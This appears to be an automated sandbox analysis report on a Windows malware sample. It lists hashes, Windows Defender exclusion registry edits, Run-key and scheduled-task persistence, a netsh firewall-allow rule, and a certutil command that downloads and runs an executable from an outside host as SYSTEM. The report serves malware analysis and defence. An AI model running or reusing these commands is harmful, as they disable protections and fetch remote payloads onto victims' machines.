Analysis
-
max time kernel
123s -
max time network
128s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:50
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe
Resource
win10v20201028
General
-
Target
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe
-
Size
3.9MB
-
MD5
ce5e901fe35f98407ed9dbecc53f2069
-
SHA1
9752f3265efcfa1c9bdd12875cbf9794d33c9ea4
-
SHA256
4a7a38302fddb6caa7d4c380fb14cda9c57bdd2f1b7c97fb88d155fab76d63df
-
SHA512
c36cc4369bedbeeeba5b795887dc22b93512c1aac09bb1700522e5766480514e24e1ddc88b3f179e0b7a5a5c186e33924e884376c81251e07f6a1d201a020aea
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1336 csrss.exe 1700 patch.exe -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exepatch.exepid process 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe 872 1700 patch.exe 1700 patch.exe 1700 patch.exe 1700 patch.exe 1700 patch.exe -
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\a11adf549854\a11adf549854 = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a11adf549854.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\GreenDarkness = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\GreenDarkness = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1600 schtasks.exe 1596 schtasks.exe -
Modifies data under HKEY_USERS 196 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exepid process 308 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.execsrss.exedescription pid process Token: SeDebugPrivilege 308 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Token: SeImpersonatePrivilege 308 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe Token: SeSystemEnvironmentPrivilege 1336 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.execmd.exedescription pid process target process PID 576 wrote to memory of 324 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe cmd.exe PID 576 wrote to memory of 324 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe cmd.exe PID 576 wrote to memory of 324 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe cmd.exe PID 576 wrote to memory of 324 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe cmd.exe PID 324 wrote to memory of 880 324 cmd.exe netsh.exe PID 324 wrote to memory of 880 324 cmd.exe netsh.exe PID 324 wrote to memory of 880 324 cmd.exe netsh.exe PID 576 wrote to memory of 1336 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe csrss.exe PID 576 wrote to memory of 1336 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe csrss.exe PID 576 wrote to memory of 1336 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe csrss.exe PID 576 wrote to memory of 1336 576 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.23279.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeMD5
ce5e901fe35f98407ed9dbecc53f2069
SHA19752f3265efcfa1c9bdd12875cbf9794d33c9ea4
SHA2564a7a38302fddb6caa7d4c380fb14cda9c57bdd2f1b7c97fb88d155fab76d63df
SHA512c36cc4369bedbeeeba5b795887dc22b93512c1aac09bb1700522e5766480514e24e1ddc88b3f179e0b7a5a5c186e33924e884376c81251e07f6a1d201a020aea
-
\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
